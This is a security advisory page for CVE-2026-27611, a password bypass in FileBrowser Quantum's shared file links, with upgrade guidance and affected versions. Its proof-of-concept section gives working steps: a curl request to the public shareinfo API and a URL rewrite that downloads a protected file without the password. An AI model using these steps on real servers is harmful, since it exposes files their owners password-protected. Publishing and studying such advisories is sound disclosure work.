# CVE-2026-27611: FileBrowser Quantum: Password Protection Not Enforced on Shared File Links Source: https://junglewise.ai/threats/cve-2026-27611-filebrowser-quantum-password-protection-not-enforced-on-shared Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats Published: 2026-02-25. Updated: 2026-05-11 License: CC BY 4.0 with a link back CVE-2026-27611 · Severity: medium · CVSS 6.5 · Published 2026-02-25 ### Summary When users share password-protected files, the recipient can completely bypass the password and still download the file. ### Details This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. ### PoC 1. As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request) 2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4) Now, the link that was copied should look like: https://yourdomain/public/share/yoursharehash example: https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA Now, make a API request with any api client to GET https://yourdomain/public/api/shareinfo?hash=(the share hash from the link) example: https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA If curl is preferred, a (command line based API client), here's the command: `curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*'` example: `curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'` Example response: ``` { "shareTheme": "default", "title": "Shared files - IMG_20240814_213703451.jpg", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "source": "/folder", "path": "/IMG_20240814_213703451.jpg/", "downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D", "shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qr_code" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" } ], "hasPassword": true } ``` Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D should be changed to: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D Then just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password. ### Impact This affects anyone who shares password-protected files. Technologies: [github.com/gtsteffaniak/filebrowser/backend (Go)](https://junglewise.ai/threats/technologies/github-com-gtsteffaniak-filebrowser-backend). Vendors: [Go](https://junglewise.ai/threats/vendors/go). ## Quick answers **Is CVE-2026-27611 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-27611 being exploited in the wild. **How severe is CVE-2026-27611?** Medium severity, with a CVSS score of 6.5, published 25 February 2026. **Which products and versions are affected?** github.com/gtsteffaniak/filebrowser/backend (Go) < 0.0.0-20260221163904-dbcfba993b85, SEMVER:introduced=0,fixed=0.0.0-20260221163904-dbcfba993b85. **Is there a fix for CVE-2026-27611?** Yes. github.com/gtsteffaniak/filebrowser/backend (Go): upgrade to 0.0.0-20260221163904-dbcfba993b85 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve. **Am I affected by CVE-2026-27611?** Check whether you run github.com/gtsteffaniak/filebrowser/backend (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you. ## How to fix - github.com/gtsteffaniak/filebrowser/backend (Go): upgrade to 0.0.0-20260221163904-dbcfba993b85 or later ```sh go get github.com/gtsteffaniak/filebrowser/backend@v0.0.0-20260221163904-dbcfba993b85 ``` ## Affected products - github.com/gtsteffaniak/filebrowser/backend (Go) < 0.0.0-20260221163904-dbcfba993b85, SEMVER:introduced=0,fixed=0.0.0-20260221163904-dbcfba993b85 ## Identifiers - CVE-2026-27611 - GHSA-8vrh-3pm2-v4v6 - GO-2026-4546 ## References - [https://api.github.com/users/ByteAfterlife](https://api.github.com/users/ByteAfterlife) - [https://github.com/ByteAfterlife](https://github.com/ByteAfterlife) - [https://api.github.com/users/ByteAfterlife/gists%7B/gist_id%7D](https://api.github.com/users/ByteAfterlife/gists%7B/gist_id%7D) - [https://api.github.com/users/ByteAfterlife/repos](https://api.github.com/users/ByteAfterlife/repos) - [https://avatars.githubusercontent.com/u/113946747?v=4](https://avatars.githubusercontent.com/u/113946747?v=4) - [https://api.github.com/users/ByteAfterlife/events%7B/privacy%7D](https://api.github.com/users/ByteAfterlife/events%7B/privacy%7D) ## Related threats - [FileBrowser symlink escape vulnerability in file read operations](https://junglewise.ai/threats/cve-2026-116682-filebrowser-quantum-is-a-free-self-hosted-web-based-file-manager) - [gtsteffaniak FileBrowser Quantum path traversal in subtitlesHandler](https://junglewise.ai/threats/cve-2026-54910-gtsteffaniak-filebrowser-quantum-path-traversal-in) - [gtsteffaniak FileBrowser Quantum username enumeration via timing side-channel](https://junglewise.ai/threats/cve-2026-54685-gtsteffaniak-filebrowser-quantum-username-enumeration-via-timing) - [FileBrowser Quantum information disclosure to unauthenticated users](https://junglewise.ai/threats/cve-2026-46410-filebrowser-quantum-information-disclosure-to-unauthenticated) - [gtsteffaniak FileBrowser Quantum path traversal in public share handler](https://junglewise.ai/threats/cve-2026-48777-gtsteffaniak-filebrowser-quantum-path-traversal-in-public-share)